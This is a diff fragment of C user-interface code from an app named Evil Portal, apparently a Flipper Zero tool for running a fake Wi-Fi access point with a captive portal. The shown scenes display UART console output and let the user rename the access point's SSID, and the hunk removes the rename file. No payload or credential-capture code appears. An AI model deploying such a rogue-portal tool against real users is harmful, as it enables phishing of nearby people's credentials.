Evil_PortalApp* app = context;
|
|
||||||
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
if(event.type == SceneManagerEventTypeCustom) {
|
|
||||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
|
|
||||||
consumed = true;
|
|
||||||
} else if(event.type == SceneManagerEventTypeTick) {
|
|
||||||
consumed = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_scene_console_output_on_exit(void* context) {
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
|
|
||||||
// Unregister rx callback
|
|
||||||
evil_portal_uart_set_handle_rx_data_cb(app->uart, NULL);
|
|
||||||
}
|
|
||||||
@@ -1,42 +0,0 @@
|
|||||||
#include "../evil_portal_app_i.h"
|
|
||||||
#include "../helpers/evil_portal_storage.h"
|
|
||||||
|
|
||||||
void evil_portal_text_input_callback(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventTextInput);
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_scene_rename_on_enter(void* context) {
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
TextInput* text_input = app->text_input;
|
|
||||||
size_t enter_name_length = 25;
|
|
||||||
evil_portal_read_ap_name(app);
|
|
||||||
text_input_set_header_text(text_input, "AP Name/SSID");
|
|
||||||
strncpy(app->text_store[0], (char*)app->ap_name, enter_name_length);
|
|
||||||
text_input_set_result_callback(
|
|
||||||
text_input,
|
|
||||||
evil_portal_text_input_callback,
|
|
||||||
context,
|
|
||||||
app->text_store[0],
|
|
||||||
enter_name_length,
|
|
||||||
false);
|
|
||||||
view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewTextInput);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool evil_portal_scene_rename_on_event(void* context, SceneManagerEvent event) {
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
SceneManager* scene_manager = app->scene_manager;
|
|
||||||
bool consumed = false;
|
|
||||||
if(event.type == SceneManagerEventTypeCustom) {
|
|
||||||
evil_portal_write_ap_name(app);
|
|
||||||
scene_manager_search_and_switch_to_previous_scene(scene_manager, Evil_PortalSceneStart);
|
|
||||||
consumed = true;
|
|
||||||
}
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_scene_rename_on_exit(void* context) {
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
variable_item_list_reset(app->var_item_list);
|
|
||||||
}
|
|
||||||